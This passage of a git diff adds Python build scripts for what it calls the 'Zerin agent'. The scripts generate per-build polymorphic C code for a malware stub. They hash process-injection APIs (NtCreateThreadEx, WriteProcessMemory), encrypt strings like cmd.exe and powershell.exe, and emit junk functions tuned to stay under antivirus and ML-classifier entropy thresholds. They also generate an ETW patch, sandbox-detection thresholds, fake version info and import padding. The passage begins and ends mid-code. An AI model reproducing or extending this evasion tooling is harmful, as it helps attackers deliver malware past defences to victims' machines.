(uint32_t)g_pad_xml_{xi}[0];") + + c_lines.append(" g_padding_state = acc;") + c_lines.append("}") + c_lines.append("") + + # Write .c file + c_path = os.path.join(outdir, "stub_poly_padding.c") + with open(c_path, "w", newline="\n") as f: + f.write("\n".join(c_lines)) + + # Write .h file + h_lines = [] + h_lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */") + h_lines.append("#ifndef STUB_POLY_PADDING_H") + h_lines.append("#define STUB_POLY_PADDING_H") + h_lines.append("") + h_lines.append("void padding_touch(void);") + h_lines.append("") + h_lines.append("#endif /* STUB_POLY_PADDING_H */") + h_lines.append("") + + h_path = os.path.join(outdir, "stub_poly_padding.h") + with open(h_path, "w", newline="\n") as f: + f.write("\n".join(h_lines)) + + return target_size_kb, c_path, h_path + + +# --------------------------------------------------------------------------- +# Main +# --------------------------------------------------------------------------- + +def main(): + parser = argparse.ArgumentParser(description="Polymorphic stub generator") + parser.add_argument("--outdir", required=True, help="Output directory for generated files") + parser.add_argument("--tools-dir", default=None, + help="Path to agent/tools/ (for icon). Default: script's directory") + args = parser.parse_args() + + os.makedirs(args.outdir, exist_ok=True) + tools_dir = args.tools_dir or os.path.dirname(os.path.abspath(__file__)) + + # Pick a random algorithm + algo = pick_algorithm() + + # Compute constants with collision detection + constants = compute_constants(algo) + + # Generate hash header + header = generate_hash_header(algo, constants) + header_path = os.path.join(args.outdir, "stub_poly_hash.h") + with open(header_path, "w", newline="\n") as f: + f.write(header) + + # Generate junk functions (40-80 random count for .text bulk) + junk_count = random.randint(40, 80) + junk = generate_junk_functions(junk_count) + junk_path = os.path.join(args.outdir, "stub_poly_junk.c") + with open(junk_path, "w", newline="\n") as f: + f.write(junk) + + # ── Generate per-build config (stub + crypter shared) ── + magic = random.randint(0x10000000, 0xFFFFFFF0) + cfg_section = _random_section_name() if random.random() < 0.10 else random.choice(CFG_SECTION_POOL) + pay_section = _random_section_name() if random.random() < 0.10 else random.choice(PAY_SECTION_POOL) + charset = generate_shuffled_charset() + chacha_init_lines = generate_chacha_init_code() + etw_patch, etw_size = generate_etw_patch_code() + + # LCG parameters for entropy pad (must match between stub and crypter) + # Known-good full-period LCG multipliers (Knuth, Numerical Recipes, etc.) + lcg_mult_pool = [ + 0x41C64E6D, # Numerical Recipes + 0x6C078965, # Mersenne-related + 0x019660D, # MINSTD + 0x5D588B65, # Turbo Pascal + 0x0005DEEC, # Java (lower 32) + 0x343FD, # MSVC + 0x3C6EF35F, # GCC glibc (lower 32) + 0x41A7, # Park-Miller + ] + lcg_mult = random.choice(lcg_mult_pool) + lcg_inc = random.randrange(1, 0xFFFF, 2) # odd increment for full period + lcg_shift = random.choice([15, 16, 17]) + + # Sandbox thresholds with realistic randomization + sb_min_cpu = random.randint(2, 3) + sb_min_ram_gb = random.choice([2, 3, 4]) + sb_min_disk_gb = random.choice([40, 50, 60, 80]) + sb_sleep_ms = random.choice([300, 400, 500, 600, 700]) + sb_sleep_min_ms = sb_sleep_ms - random.randint(30, 80) + sb_min_recent = random.randint(5, 15) + + config_header = generate_stub_config_header( + magic, cfg_section, pay_section, charset, + chacha_init_lines, etw_patch, etw_size, + sb_min_cpu, sb_min_ram_gb, sb_min_disk_gb, + sb_sleep_ms, sb_sleep_min_ms, sb_min_recent, + lcg_mult, lcg_inc, lcg_shift, + ) + config_path = os.path.join(args.outdir, "stub_poly_config.h") + with open(config_path, "w", newline="\n") as f: + f.write(config_header) + + # Generate metamorphic function header + meta_header, meta_unroll, meta_rotl = generate_metamorphic_header( + lcg_mult, lcg_inc, lcg_shift) + meta_path = os.path.join(args.outdir, "stub_poly_metamorphic.h") + with open(meta_path, "w", newline="\n") as f: + f.write(meta_header) + + # Generate randomized VERSIONINFO resource + vi_identity, vi_version = generate_versioninfo(args.outdir, tools_dir) + + # Generate IAT padding (12-20 benign API calls) + iat_count, iat_path = generate_iat_padding(args.outdir) + + # Generate binary size padding (150-400KB .rdata content) + pad_size_kb, pad_c_path, pad_h_path = generate_padding_data(args.outdir) + + print(f"Algorithm: {algo.name}") + print(f"Constants: {len(constants)} (no collisions)") + print(f"Junk functions: {junk_count}") + print(f"Config magic: 0x{magic:08X}") + print(f"Config section: {cfg_section}") + print(f"Payload section: {pay_section}") + print(f"Charset length: {len(charset)}") + print(f"ETW patch: {etw_size} bytes") + print(f"LCG: mult=0x{lcg_mult:08X}, inc=0x{lcg_inc:04X}, shift={lcg_shift}") + print(f"Sandbox: CPU>={sb_min_cpu}, RAM>={sb_min_ram_gb}GB, Disk>={sb_min_disk_gb}GB") + print(f"Metamorphic: ChaCha20 unroll={meta_unroll}, ROTL={meta_rotl}") + print(f"VersionInfo: {vi_identity} ({vi_version})") + print(f"IAT padding: {iat_count} API calls") + print(f"Binary padding: ~{pad_size_kb}KB .rdata content") + print(f"Output: {header_path}") + print(f"Output: {junk_path}") + print(f"Output: {config_path}") + print(f"Output: {meta_path}") + print(f"Output: {iat_path}") + print(f"Output: {pad_c_path}") + print(f"Output: {pad_h_path}") + + +if __name__ == "__main__": + main() diff --git a/tools/generate_polymorphic.py b/tools/generate_polymorphic.py new file mode 100755 index 0000000..3976b4a --- /dev/null +++ b/tools/generate_polymorphic.py @@ -0,0 +1,756 @@ +#!/usr/bin/env python3 +""" +generate_polymorphic.py - Per-build polymorphic obfuscation for Zerin agent. + +Runs before GCC (alongside generate_strings.py). Generates 4 files: + 1. include/poly_hash.h - Random hash algorithm + all pre-computed constants + 2. include/poly_config.h - Random STR_KEY + POLY_BUILD_SEED + 3. src/evasion/strings.c - XOR string table using the random STR_KEY + 4. src/evasion/poly_junk.c - 30-80 random junk functions + +Usage: + python tools/generate_polymorphic.py --outdir +""" + +import os +import sys +import random +import argparse +import struct + +# ============================================================================ +# Hash algorithm implementations (Python side, for pre-computing constants) +# ============================================================================ + +def djb2_narrow(name, init, multiplier): + """DJB2 variant over narrow (ASCII) string.""" + h = init & 0xFFFFFFFF + for c in name: + h = ((h * multiplier) + ord(c)) & 0xFFFFFFFF + return h + +def djb2_wide_lower(name, init, multiplier): + """DJB2 variant over wide (UTF-16LE) string, lowercased.""" + h = init & 0xFFFFFFFF + for c in name: + ch = ord(c) + if ord('A') <= ch <= ord('Z'): + ch += 32 + h = ((h * multiplier) + ch) & 0xFFFFFFFF + return h + +def fnv1a_narrow(name): + """FNV-1a over narrow string.""" + h = 0x811c9dc5 + for c in name: + h ^= ord(c) + h = (h * 0x01000193) & 0xFFFFFFFF + return h + +def fnv1a_wide_lower(name): + """FNV-1a over wide string, lowercased.""" + h = 0x811c9dc5 + for c in name: + ch = ord(c) + if ord('A') <= ch <= ord('Z'): + ch += 32 + h ^= ch + h = (h * 0x01000193) & 0xFFFFFFFF + return h + +def sdbm_narrow(name, shift_a, shift_b): + """SDBM variant over narrow string.""" + h = 0 + for c in name: + h = ord(c) + (h << shift_a) + (h << shift_b) - h + h &= 0xFFFFFFFF + return h + +def sdbm_wide_lower(name, shift_a, shift_b): + """SDBM variant over wide string, lowercased.""" + h = 0 + for c in name: + ch = ord(c) + if ord('A') <= ch <= ord('Z'): + ch += 32 + h = ch + (h << shift_a) + (h << shift_b) - h + h &= 0xFFFFFFFF + return h + +def rotate_xor_narrow(name, shift_l, shift_r): + """Rotating-add-xor over narrow string.""" + h = 0 + for c in name: + h = (h ^ ord(c)) + h = ((h << shift_l) | (h >> (32 - shift_l))) & 0xFFFFFFFF + h = (h + (h >> shift_r)) & 0xFFFFFFFF + return h + +def rotate_xor_wide_lower(name, shift_l, shift_r): + """Rotating-add-xor over wide string, lowercased.""" + h = 0 + for c in name: + ch = ord(c) + if ord('A') <= ch <= ord('Z'): + ch += 32 + h = (h ^ ch) + h = ((h << shift_l) | (h >> (32 - shift_l))) & 0xFFFFFFFF + h = (h + (h >> shift_r)) & 0xFFFFFFFF + return h + +def jenkins_narrow(name): + """Jenkins one-at-a-time over narrow string.""" + h = 0 + for c in name: + h = (h + ord(c)) & 0xFFFFFFFF + h = (h + (h << 10)) & 0xFFFFFFFF + h ^= (h >> 6) + h = (h + (h << 3)) & 0xFFFFFFFF + h ^= (h >> 11) + h = (h + (h << 15)) & 0xFFFFFFFF + return h + +def jenkins_wide_lower(name): + """Jenkins one-at-a-time over wide string, lowercased.""" + h = 0 + for c in name: + ch = ord(c) + if ord('A') <= ch <= ord('Z'): + ch += 32 + h = (h + ch) & 0xFFFFFFFF + h = (h + (h << 10)) & 0xFFFFFFFF + h ^= (h >> 6) + h = (h + (h << 3)) & 0xFFFFFFFF + h ^= (h >> 11) + h = (h + (h << 15)) & 0xFFFFFFFF + return h + +# ============================================================================ +# C code generators for each hash algorithm +# ============================================================================ + +def gen_djb2_c(init, multiplier): + """Generate C code for DJB2 variant.""" + narrow = f"""static inline uint32_t hash_api(const char *name) {{ + uint32_t h = {init}u; + int c; + while ((c = *name++) != 0) + h = h * {multiplier}u + (uint32_t)c; + return h; +}}""" + wide = f"""static inline uint32_t hash_wide_lower(const wchar_t *name, size_t chars) {{ + uint32_t h = {init}u; + size_t i; + for (i = 0; i < chars; i++) {{ + wchar_t c = name[i]; + if (c == 0) break; + if (c >= L'A' && c <= L'Z') c += 32; + h = h * {multiplier}u + (uint32_t)c; + }} + return h; +}}""" + return narrow, wide + +def gen_fnv1a_c(): + """Generate C code for FNV-1a.""" + narrow = """static inline uint32_t hash_api(const char *name) { + uint32_t h = 0x811c9dc5u; + while (*name) { + h ^= (uint32_t)(unsigned char)*name++; + h *= 0x01000193u; + } + return h; +}""" + wide = """static inline uint32_t hash_wide_lower(const wchar_t *name, size_t chars) { + uint32_t h = 0x811c9dc5u; + size_t i; + for (i = 0; i < chars; i++) { + wchar_t c = name[i]; + if (c == 0) break; + if (c >= L'A' && c <= L'Z') c += 32; + h ^= (uint32_t)c; + h *= 0x01000193u; + } + return h; +}""" + return narrow, wide + +def gen_sdbm_c(shift_a, shift_b): + """Generate C code for SDBM variant.""" + narrow = f"""static inline uint32_t hash_api(const char *name) {{ + uint32_t h = 0; + int c; + while ((c = *name++) != 0) + h = (uint32_t)c + (h << {shift_a}) + (h << {shift_b}) - h; + return h; +}}""" + wide = f"""static inline uint32_t hash_wide_lower(const wchar_t *name, size_t chars) {{ + uint32_t h = 0; + size_t i; + for (i = 0; i < chars; i++) {{ + wchar_t c = name[i]; + if (c == 0) break; + if (c >= L'A' && c <= L'Z') c += 32; + h = (uint32_t)c + (h << {shift_a}) + (h << {shift_b}) - h; + }} + return h; +}}""" + return narrow, wide + +def gen_rotate_xor_c(shift_l, shift_r): + """Generate C code for rotating-add-xor.""" + narrow = f"""static inline uint32_t hash_api(const char *name) {{ + uint32_t h = 0; + while (*name) {{ + h ^= (uint32_t)(unsigned char)*name++; + h = (h << {shift_l}) | (h >> (32 - {shift_l})); + h += h >> {shift_r}; + }} + return h; +}}""" + wide = f"""static inline uint32_t hash_wide_lower(const wchar_t *name, size_t chars) {{ + uint32_t h = 0; + size_t i; + for (i = 0; i < chars; i++) {{ + wchar_t c = name[i]; + if (c == 0) break; + if (c >= L'A' && c <= L'Z') c += 32; + h ^= (uint32_t)c; + h = (h << {shift_l}) | (h >> (32 - {shift_l})); + h += h >> {shift_r}; + }} + return h; +}}""" + return narrow, wide + +def gen_jenkins_c(): + """Generate C code for Jenkins one-at-a-time.""" + narrow = """static inline uint32_t hash_api(const char *name) { + uint32_t h = 0; + while (*name) { + h += (uint32_t)(unsigned char)*name++; + h += h << 10; + h ^= h >> 6; + } + h += h << 3; + h ^= h >> 11; + h += h << 15; + return h; +}""" + wide = """static inline uint32_t hash_wide_lower(const wchar_t *name, size_t chars) { + uint32_t h = 0; + size_t i; + for (i = 0; i < chars; i++) { + wchar_t c = name[i]; + if (c == 0) break; + if (c >= L'A' && c <= L'Z') c += 32; + h += (uint32_t)c; + h += h << 10; + h ^= h >> 6; + } + h += h << 3; + h ^= h >> 11; + h += h << 15; + return h; +}""" + return narrow, wide + +# ============================================================================ +# Algorithm selection and hash computation +# ============================================================================ + +# Modules (wide, lowercased) and functions (narrow) +MODULES = [ + ("NTDLL", "ntdll.dll"), + ("KERNEL32", "kernel32.dll"), + ("ADVAPI32", "advapi32.dll"), + ("USER32", "user32.dll"), +] + +FUNCTIONS = [ + ("NtAllocateVirtualMemory",), + ("NtProtectVirtualMemory",), + ("NtWriteVirtualMemory",), + ("NtCreateThreadEx",), + ("NtClose",), + ("NtQueryInformationProcess",), + ("NtFreeVirtualMemory",), + ("RtlGetVersion",), + ("NtQuerySystemInformation",), + ("VirtualAllocEx",), + ("WriteProcessMemory",), + ("VirtualProtectEx",), + ("VirtualFreeEx",), + ("OpenProcess",), + ("VirtualAlloc",), + ("VirtualFree",), + ("VirtualProtect",), + ("EtwEventWrite",), +] + +# DJB2 primes for init values +DJB2_PRIMES = [5381, 5387, 5393, 5399, 5407, 5413, 5417, 5419, 5431, 5437, + 5441, 5443, 5449, 5471, 5477, 5479, 5483, 5501, 5503, 5507] +DJB2_MULTIPLIERS = [31, 33, 37] + + +def pick_algorithm(rng): + """Randomly select a hash algorithm and return (name, params, narrow_fn, wide_fn, c_code_fn).""" + choice = rng.randint(0, 4) + + if choice == 0: + # DJB2 variant + init = rng.choice(DJB2_PRIMES) + mult = rng.choice(DJB2_MULTIPLIERS) + def narrow(name): return djb2_narrow(name, init, mult) + def wide(name): return djb2_wide_lower(name, init, mult) + def c_code(): return gen_djb2_c(init, mult) + return f"DJB2(init={init},mult={mult})", narrow, wide, c_code + + elif choice == 1: + # FNV-1a + def narrow(name): return fnv1a_narrow(name) + def wide(name): return fnv1a_wide_lower(name) + def c_code(): return gen_fnv1a_c() + return "FNV1a", narrow, wide, c_code + + elif choice == 2: + # SDBM + shift_a = rng.choice([6, 7, 8]) + shift_b = rng.choice([16, 17, 18]) + def narrow(name): return sdbm_narrow(name, shift_a, shift_b) + def wide(name): return sdbm_wide_lower(name, shift_a, shift_b) + def c_code(): return gen_sdbm_c(shift_a, shift_b) + return f"SDBM(a={shift_a},b={shift_b})", narrow, wide, c_code + + elif choice == 3: + # Rotating-add-xor + shift_l = rng.choice([4, 5, 6, 7]) + shift_r = rng.choice([11, 13, 15, 17]) + def narrow(name): return rotate_xor_narrow(name, shift_l, shift_r) + def wide(name): return rotate_xor_wide_lower(name, shift_l, shift_r) + def c_code(): return gen_rotate_xor_c(shift_l, shift_r) + return f"RotXor(l={shift_l},r={shift_r})", narrow, wide, c_code + + else: + # Jenkins one-at-a-time + def narrow(name): return jenkins_narrow(name) + def wide(name): return jenkins_wide_lower(name) + def c_code(): return gen_jenkins_c() + return "Jenkins", narrow, wide, c_code + + +def compute_hashes(narrow_fn, wide_fn): + """Compute all module and function hashes. Returns (module_hashes, func_hashes) dicts.""" + module_hashes = {} + for define_name, dll_name in MODULES: + h = wide_fn(dll_name) + module_hashes[define_name] = h + + func_hashes = {} + for (func_name,) in FUNCTIONS: + h = narrow_fn(func_name) + func_hashes[func_name] = h + + return module_hashes, func_hashes + + +def check_collisions(module_hashes, func_hashes): + """Check for hash collisions. Returns True if no collisions.""" + all_values = list(module_hashes.values()) + list(func_hashes.values()) + return len(all_values) == len(set(all_values)) + + +# ============================================================================ +# File generators +# ============================================================================ + +def generate_poly_hash_h(algo_name, c_code_fn, module_hashes, func_hashes): + """Generate include/poly_hash.h content.""" + narrow_c, wide_c = c_code_fn() + + lines = [ + f"// Auto-generated by generate_polymorphic.py - DO NOT EDIT", + f"// Algorithm: {algo_name}", + "#ifndef POLY_HASH_H", + "#define POLY_HASH_H", + "", + "#include ", + "#include ", + "", + "// Hash function for narrow (char*) API names", + narrow_c, + "", + "// Hash function for wide (wchar_t*) module names, lowercased", + wide_c, + "", + "// Pre-computed module name hashes (wide, lowercased)", + ] + for define_name, h in module_hashes.items(): + lines.append(f"#define HASH_{define_name} 0x{h:08x}") + lines.append("") + lines.append("// Pre-computed function name hashes (narrow)") + for func_name, h in func_hashes.items(): + lines.append(f"#define HASH_{func_name} 0x{h:08x}") + lines.extend(["", "#endif // POLY_HASH_H", ""]) + return "\n".join(lines) + + +def generate_poly_config_h(str_key, build_seed): + """Generate include/poly_config.h content.""" + lines = [ + "// Auto-generated by generate_polymorphic.py - DO NOT EDIT", + "#ifndef POLY_CONFIG_H", + "#define POLY_CONFIG_H", + "", + f"#define STR_KEY 0x{str_key:02X}", + f"#define POLY_BUILD_SEED 0x{build_seed:08X}u", + "", + "#endif // POLY_CONFIG_H", + "", + ] + return "\n".join(lines) + + +def generate_strings_c(str_key): + """Generate src/evasion/strings.c with XOR-encrypted string table.""" + strings = [ + ("cmd_exe", "cmd.exe"), + ("ntdll", "ntdll.dll"), + ("kernel32", "kernel32.dll"), + ("advapi32", "advapi32.dll"), + ("winhttp", "winhttp.dll"), + ("powershell", "powershell.exe"), + ] + + num_strings = len(strings) + + lines = [ + '// Auto-generated by generate_polymorphic.py - DO NOT EDIT', + '#include "zerin.h"', + '#include "poly_config.h"', + '#include ', + '', + f'#define ESTR_COUNT {num_strings}', + '', + 'void str_decrypt(char *buf, const unsigned char *enc, size_t len) {', + ' size_t i;', + ' for (i = 0; i < len; i++)', + ' buf[i] = (char)(enc[i] ^ STR_KEY);', + ' buf[len] = \'\\0\';', + '}', + '', + 'void str_wipe(char *buf, size_t len) {', + ' secure_zero(buf, len + 1);', + '}', + '', + ] + + for var_name, plaintext in strings: + enc_bytes = [b ^ str_key for b in plaintext.encode('ascii')] + hex_str = ", ".join(f"0x{b:02x}" for b in enc_bytes) + lines.append(f'// "{plaintext}"') + lines.append(f'static const unsigned char enc_{var_name}[] = {{') + lines.append(f' {hex_str}') + lines.append('};') + lines.append('') + + lines.extend([ + 'typedef struct {', + ' const unsigned char *data;', + ' size_t len;', + '} estr_entry_t;', + '', + 'static const estr_entry_t estr_table[ESTR_COUNT] = {', + ]) + for var_name, plaintext in strings: + lines.append(f' {{ enc_{var_name}, sizeof(enc_{var_name}) }},') + lines.extend([ + '};', + '', + 'const unsigned char *estr_get(int index, size_t *out_len) {', + ' if (index < 0 || index >= ESTR_COUNT) {', + ' *out_len = 0;', + ' return NULL;', + ' }', + ' *out_len = estr_table[index].len;', + ' return estr_table[index].data;', + '}', + '', + ]) + return "\n".join(lines) + + +# ============================================================================ +# Junk code generator +# ============================================================================ + +def generate_poly_junk_c(rng, count): + """Generate src/evasion/poly_junk.c with random junk functions. + + Entropy-conscious: uses 8/16-bit constants (not 32-bit) to keep .text + section entropy below AV heuristic thresholds (~6.5 bits/byte). + Also embeds a large realistic string table for .rdata dilution. + """ + func_names = [] + func_param_counts = [] + for _ in range(count): + func_names.append(f"poly_fn_{rng.getrandbits(32):08x}") + func_param_counts.append(rng.randint(1, 3)) + + # ---- Entropy-diluting string table for .rdata ---- + # These look like legitimate Windows API/runtime strings and pull + # .rdata section entropy well below ML classifier thresholds. + JUNK_STRINGS = [ + "CreateFileW", "ReadFile", "WriteFile", "CloseHandle", + "GetLastError", "SetLastError", "GetProcAddress", + "LoadLibraryExW", "FreeLibrary", "GetModuleHandleW", + "HeapAlloc", "HeapFree", "HeapReAlloc", "HeapCreate", + "EnterCriticalSection", "LeaveCriticalSection", + "InitializeCriticalSection", "DeleteCriticalSection", + "WaitForSingleObject", "WaitForMultipleObjects", + "CreateThread", "ExitThread", "ResumeThread", + "GetCurrentProcess", "GetCurrentThread", + "GetSystemInfo", "GetVersionExW", + "RegOpenKeyExW", "RegQueryValueExW", "RegCloseKey", + "CreateEventW", "SetEvent", "ResetEvent", + "CreateMutexW", "ReleaseMutex", "OpenMutexW", + "GetEnvironmentVariableW", "SetEnvironmentVariableW", + "GetTempPathW", "GetTempFileNameW", + "FindFirstFileW", "FindNextFileW", "FindClose", + "MoveFileExW", "CopyFileW", "DeleteFileW", + "CreateDirectoryW", "RemoveDirectoryW", + "GetFileAttributesW", "SetFileAttributesW", + "DeviceIoControl", "GetOverlappedResult", + "ConnectNamedPipe", "DisconnectNamedPipe", + "PeekNamedPipe", "TransactNamedPipe", + "GetComputerNameW", "GetUserNameW", + "LookupAccountSidW", "LookupPrivilegeValueW", + "CryptAcquireContextW", "CryptReleaseContext", + "CryptGenRandom", "CryptCreateHash", + "The specified resource type cannot be found.", + "Windows Defender SmartScreen prevented an unrecognized app from starting.", + "The trust relationship between this workstation and the primary domain failed.", + "The remote procedure call failed and did not execute.", + "Fatal error during installation.", + "Setup was unable to create the directory.", + "Component transfer error.", + "Unable to determine the Windows directory.", + "The resource loader failed to find MUI file.", + "Activation context generation failed for the assembly.", + "The referenced assembly is not installed on your system.", + "Side-by-side configuration information is incorrect.", + "Windows Resource Protection could not perform the requested operation.", + "The Windows Installer Service could not be accessed.", + "Error applying transforms. Verify that the specified transform paths are valid.", + "This installation package could not be opened.", + "This installation package is not supported by this processor type.", + ] + + lines = [ + "// Auto-generated by generate_polymorphic.py - DO NOT EDIT", + "#include ", + "", + "volatile uint32_t g_poly_state = 0;", + "", + "// Entropy dilution: realistic Windows strings lower .rdata entropy", + ] + shuffled_strings = list(JUNK_STRINGS) + rng.shuffle(shuffled_strings) + for i, s in enumerate(shuffled_strings): + safe = s.replace('"', '\\"') + lines.append(f'static const char __attribute__((used)) _jpad_{i}[] = "{safe}";') + lines.extend(["", "// Forward declarations"]) + + for fn, pc in zip(func_names, func_param_counts): + params = ", ".join(f"uint32_t p{i}" for i in range(pc)) + lines.append(f"static uint32_t {fn}({params});") + lines.append("") + + # Generate function bodies + for idx, fn in enumerate(func_names): + param_count = func_param_counts[idx] + params = ", ".join(f"uint32_t p{i}" for i in range(param_count)) + lines.append(f"static uint32_t {fn}({params}) {{") + + body_type = rng.randint(0, 4) + + # Helper to emit code that uses all params (avoids -Wunused-parameter) + def use_all_params(): + if param_count > 1: + lines.append(f" r ^= p1;") + if param_count > 2: + lines.append(f" r += p2;") + + if body_type == 0: + # Arithmetic chain — use 8-bit constants (low entropy) + lines.append(f" uint32_t r = p0;") + ops = rng.randint(3, 7) + for _ in range(ops): + op = rng.choice(['+', '^', '*', '-']) + val = rng.getrandbits(8) + if op == '*': + val = val | 1 # Avoid multiply by 0 + lines.append(f" r = r {op} {val}u;") + use_all_params() + lines.append(f" return r;") + + elif body_type == 1: + # Bitwise rotation chain — use 16-bit XOR values (not 32-bit) + lines.append(f" uint32_t r = p0;") + steps = rng.randint(2, 5) + for _ in range(steps): + shift = rng.randint(1, 31) + direction = rng.choice(["left", "right"]) + if direction == "left": + lines.append(f" r = (r << {shift}) | (r >> {32 - shift});") + else: + lines.append(f" r = (r >> {shift}) | (r << {32 - shift});") + val = rng.getrandbits(16) + lines.append(f" r ^= 0x{val:04X}u;") + use_all_params() + lines.append(f" return r;") + + elif body_type == 2: + # Small array computation — 8-bit values (low entropy) + arr_size = rng.randint(4, 8) + init_vals = [f"0x{rng.getrandbits(8):02X}u" for _ in range(arr_size)] + lines.append(f" uint32_t arr[{arr_size}] = {{ {', '.join(init_vals)} }};") + lines.append(f" uint32_t r = p0;") + for i in range(arr_size): + op = rng.choice(['^', '+', '-']) + lines.append(f" r {op}= arr[{i}];") + if param_count > 1: + lines.append(f" r *= p1 | 1u;") + if param_count > 2: + lines.append(f" r += p2;") + lines.append(f" return r;") + + elif body_type == 3: + # Short loop — use 16-bit seed (not 32-bit) + iters = rng.randint(3, 8) + val = rng.getrandbits(16) + lines.append(f" uint32_t r = p0 ^ 0x{val:04X}u;") + lines.append(f" for (uint32_t i = 0; i < {iters}u; i++) {{") + op = rng.choice(['^', '+']) + shift = rng.randint(1, 15) + lines.append(f" r {op}= (r << {shift}) + i;") + lines.append(f" }}") + use_all_params() + lines.append(f" return r;") + + else: + # Cross-function call + arithmetic — use 16-bit constant + lines.append(f" uint32_t r = p0;") + if idx > 0: + target_idx = rng.randint(0, idx - 1) + target = func_names[target_idx] + target_pc = func_param_counts[target_idx] + call_args = ["r"] + if target_pc > 1: + call_args.append("p1" if param_count > 1 else "r") + if target_pc > 2: + call_args.append("p2" if param_count > 2 else "r") + call_str = ", ".join(call_args) + lines.append(f" r = {target}({call_str});") + val = rng.getrandbits(16) + lines.append(f" r ^= 0x{val:04X}u;") + use_all_params() + lines.append(f" return r;") + + lines.append("}") + lines.append("") + + # Generate poly_junk_init() — must call ALL functions to avoid -Wunused-function + lines.append("void poly_junk_init(void) {") + lines.append(f" uint32_t state = 0x{rng.getrandbits(32):08X}u;") + + # Chain calls to ALL functions to avoid -Wunused-function warnings + for ci in range(count): + fn = func_names[ci] + pc = func_param_counts[ci] + # Build args: always pass state for all params + call_args = ", ".join(["state"] * pc) + lines.append(f" state = {fn}({call_args});") + + lines.append(" g_poly_state = state;") + lines.append("}") + lines.append("") + + return "\n".join(lines) + + +# ============================================================================ +# Main +# ============================================================================ + +def main(): + parser = argparse.ArgumentParser(description="Generate polymorphic obfuscation files") + parser.add_argument("--outdir", required=True, help="Agent root directory") + args = parser.parse_args() + + agent_dir = args.outdir + include_dir = os.path.join(agent_dir, "include") + evasion_dir = os.path.join(agent_dir, "src", "evasion") + + os.makedirs(include_dir, exist_ok=True) + os.makedirs(evasion_dir, exist_ok=True) + + rng = random.SystemRandom() + + # --- Pick hash algorithm (retry on collision) --- + max_attempts = 50 + for attempt in range(max_attempts): + algo_name, narrow_fn, wide_fn, c_code_fn = pick_algorithm(rng) + module_hashes, func_hashes = compute_hashes(narrow_fn, wide_fn) + + if check_collisions(module_hashes, func_hashes): + break + else: + print("ERROR: Could not find collision-free hash params after 50 attempts", file=sys.stderr) + sys.exit(1) + + # --- Random build constants --- + str_key = rng.randint(0x01, 0xFF) + build_seed = rng.getrandbits(32) + + # --- Generate files --- + # 1. poly_hash.h + poly_hash_content = generate_poly_hash_h(algo_name, c_code_fn, module_hashes, func_hashes) + poly_hash_path = os.path.join(include_dir, "poly_hash.h") + with open(poly_hash_path, "w", encoding="utf-8", newline="\n") as f: + f.write(poly_hash_content) + + # 2. poly_config.h + poly_config_content = generate_poly_config_h(str_key, build_seed) + poly_config_path = os.path.join(include_dir, "poly_config.h") + with open(poly_config_path, "w", encoding="utf-8", newline="\n") as f: + f.write(poly_config_content) + + # 3. strings.c + strings_content = generate_strings_c(str_key) + strings_path = os.path.join(evasion_dir, "strings.c") + with open(strings_path, "w", encoding="utf-8", newline="\n") as f: + f.write(strings_content) + + # 4. poly_junk.c + junk_count = rng.randint(45, 55) + junk_content = generate_poly_junk_c(rng, junk_count) + junk_path = os.path.join(evasion_dir, "poly_junk.c") + with open(junk_path, "w", encoding="utf-8", newline="\n") as f: + f.write(junk_content) + + print(f"Polymorphic obfuscation generated:") + print(f" Algorithm: {algo_name}") + print(f" STR_KEY: 0x{str_key:02X}") + print(f" Seed: 0x{build_seed:08X}") + print(f" Junk fns: {junk_count}") + print(f" Files:") + print(f" {poly_hash_path}") + print(f" {poly_config_path}") + print(f" {strings_path}") + print(f" {junk_path}") + + +if __name__ == "__main__": + main() diff --git a/tools/generate_strings.py b/tools/generate_strings.py new file mode 100755 index 0000000..917bee8 --- /dev/null +++ b/tools/generate_strings.py @@ -0,0 +1,454 @@ +#!/usr/bin/env python3 +""" +generate_strings.py - Build-time string obfuscation for Zerin agent. + +Reads obf_strings.def, generates ChaCha20-encrypted string arrays with a +random key per build. Outputs: + - include/obf_strings_gen.h (enum IDs + decrypt API declarations) + - src/evasion/obf_strings_gen.c (encrypted data + self-contained ChaCha20 decryptor) + +Usage: + python tools/generate_strings.py [--def ] [--outdir ] +""" + +import os +import re +import sys +import struct +import argparse +import random + +# ============================================================================ +# Minimal ChaCha20 implementation (matches RFC 8439) +# ============================================================================ + +def _rotl32(v, n): + return ((v << n) | (v >> (32 - n))) & 0xFFFFFFFF + +def _quarter_round(state, a, b, c, d): + state[a] = (state[a] + state[b]) & 0xFFFFFFFF + state[d] ^= state[a]; state[d] = _rotl32(state[d], 16) + state[c] = (state[c] + state[d]) & 0xFFFFFFFF + state[b] ^= state[c]; state[b] = _rotl32(state[b], 12) + state[a] = (state[a] + state[b]) & 0xFFFFFFFF + state[d] ^= state[a]; state[d] = _rotl32(state[d], 8) + state[c] = (state[c] + state[d]) & 0xFFFFFFFF + state[b] ^= state[c]; state[b] = _rotl32(state[b], 7) + +def _chacha20_block(state): + x = list(state) + for _ in range(10): + _quarter_round(x, 0, 4, 8, 12) + _quarter_round(x, 1, 5, 9, 13) + _quarter_round(x, 2, 6, 10, 14) + _quarter_round(x, 3, 7, 11, 15) + _quarter_round(x, 0, 5, 10, 15) + _quarter_round(x, 1, 6, 11, 12) + _quarter_round(x, 2, 7, 8, 13) + _quarter_round(x, 3, 4, 9, 14) + out = b"" + for i in range(16): + out += struct.pack(" bytes: + assert len(key) == 32 and len(nonce) == 12 + state = [ + 0x61707865, 0x3320646e, 0x79622d32, 0x6b206574, + ] + for i in range(8): + state.append(struct.unpack_from(" str: + parts = [] + for i, b in enumerate(data): + if i % 16 == 0 and i > 0: + parts.append("\n" + indent) + parts.append(f"0x{b:02X}") + if i < len(data) - 1: + parts.append(", ") + return indent + "".join(parts) + +def generate(entries, key: bytes, nonce: bytes, header_path: str, source_path: str): + # Encrypt all strings + encrypted = [] + for ident, value in entries: + plaintext = value.encode("utf-8") + ciphertext = chacha20_encrypt(key, nonce, plaintext) + encrypted.append((ident, value, plaintext, ciphertext)) + + # --- Generate header --- + h_lines = [ + "// Auto-generated by generate_strings.py - DO NOT EDIT", + "// Regenerated with random key on every build for polymorphic output.", + "#ifndef OBF_STRINGS_GEN_H", + "#define OBF_STRINGS_GEN_H", + "", + "#include ", + "", + "// String IDs", + "enum {", + ] + for i, (ident, value, pt, ct) in enumerate(encrypted): + safe_val = value.replace("\\", "\\\\").replace('"', '\\"') + h_lines.append(f" {ident} = {i}, // \"{safe_val}\" ({len(pt)} bytes)") + h_lines.append(f" OBF_STRING_COUNT = 